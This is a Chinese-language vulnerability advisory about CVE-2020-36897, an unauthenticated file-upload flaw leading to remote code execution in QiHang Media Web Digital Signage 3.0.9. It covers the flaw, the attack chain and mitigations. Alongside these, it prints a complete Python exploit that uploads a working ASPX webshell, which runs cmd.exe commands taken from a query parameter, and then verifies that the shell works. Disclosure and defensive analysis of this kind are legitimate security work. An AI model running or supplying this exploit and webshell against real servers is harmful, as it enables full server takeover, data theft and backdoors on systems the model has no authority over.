IPBUF安全漏洞报告
English
CVE-2020-36897 CVSS 9.8 严重

QiHang Media Web Digital Signage 未认证远程代码执行漏洞 (CVE-2020-36897)

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2020-36897
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
QiHang Media Web Digital Signage 3.0.9

相关标签

CVE-2020-36897远程代码执行文件上传漏洞未认证漏洞QiHang Media Web Digital SignagewebshellASPXQH.aspx高危漏洞RCE

漏洞概述

QiHang Media Web Digital Signage 3.0.9版本中存在一个严重的安全漏洞,允许未经身份验证的远程攻击者执行任意系统命令。该漏洞位于QH.aspx文件中,攻击者可以利用文件上传功能的remotePath和fileToUpload参数,上传恶意ASPX脚本到服务器并执行。由于该漏洞无需任何认证即可被利用,且CVSS评分高达9.8,属于严重级别漏洞,对使用该产品的企业构成重大安全威胁。攻击者可利用此漏洞完全控制受影响的服务器,窃取敏感数据、安装后门或进一步横向移动攻击网络中的其他系统。

技术细节

该漏洞是典型的未经认证文件上传导致的远程代码执行(RCE)漏洞。在QiHang Media Web Digital Signage的QH.aspx文件中,程序对用户上传的文件缺少充分的验证和过滤机制。攻击者可以通过HTTP请求直接调用QH.aspx接口,使用remotePath参数指定目标文件路径,fileToUpload参数传递恶意ASPX脚本内容。由于ASPX文件在Windows服务器上会被ASP.NET运行时解析执行,攻击者上传的恶意脚本可以包含系统命令调用代码,从而在服务器上执行任意操作系统命令。攻击者通常会上传包含WebShell的ASPX文件,实现对服务器的持久化控制和命令执行。该漏洞的根因在于:1) 缺少身份验证机制;2) 文件上传功能未对文件类型和内容进行安全检查;3) 上传路径可由用户控制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标服务器,发现运行QiHang Media Web Digital Signage 3.0.9版本,并识别QH.aspx文件存在
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意ASPX代码的HTTP POST请求,设置remotePath参数指定上传路径,fileToUpload参数包含webshell代码
STEP 3
步骤3: 文件上传
通过QH.aspx的未认证文件上传接口,将恶意ASPX文件上传到服务器可执行目录
STEP 4
步骤4: 触发执行
攻击者访问上传的ASPX文件,通过cmd参数执行任意系统命令
STEP 5
步骤5: 持久化控制
攻击者利用webshell在服务器上执行更多命令,安装后门、窃取数据或横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2020-36897 PoC - QiHang Media Web Digital Signage Unauthenticated RCE # Target: QiHang Media Web Digital Signage 3.0.9 def exploit(target_url, attacker_ip, attacker_port): """ Exploit for CVE-2020-36897 Uploads malicious ASPX webshell to target server """ # Malicious ASPX webshell content webshell_content = f''' <%@ Page Language="C#" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <script runat="server"> void Page_Load(object sender, EventArgs e) {{ string cmd = Request.QueryString["cmd"]; if (cmd != null) {{ System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.CreateNoWindow = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); }} }} </script> ''' # Construct exploit URL upload_url = f"{target_url}/QH.aspx" # Prepare POST data files = { 'fileToUpload': ('shell.aspx', webshell_content, 'application/x-aspx') } data = { 'remotePath': '/inetpub/wwwroot/' # Target upload path } try: print(f"[*] Exploiting CVE-2020-36897 on {target_url}") print(f"[*] Uploading webshell to {upload_url}") # Send exploit request response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: shell_url = f"{target_url}/shell.aspx" print(f"[+] Webshell uploaded successfully!") print(f"[+] Shell URL: {shell_url}") print(f"[+] Example command: {shell_url}?cmd=whoami") # Verify shell works verify_url = f"{shell_url}?cmd=echo+CVE-2020-36897" verify_resp = requests.get(verify_url, timeout=10) if 'CVE-2020-36897' in verify_resp.text: print("[+] Webshell verification successful!") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, "attacker_ip", "4444")

影响范围

QiHang Media Web Digital Signage 3.0.9

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1) 使用网络层访问控制,限制对QH.aspx等管理接口的访问来源;2) 在Web服务器上配置URL重写规则,禁止上传.aspx、.asp等可执行脚本文件类型;3) 将文件上传目录设置为无执行权限;4) 部署Web应用防火墙规则,检测和阻止恶意文件上传行为;5) 监控和审查Web服务器日志,及时发现可疑的上传和执行行为;6) 如果业务允许,暂时禁用或下线存在漏洞的系统组件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表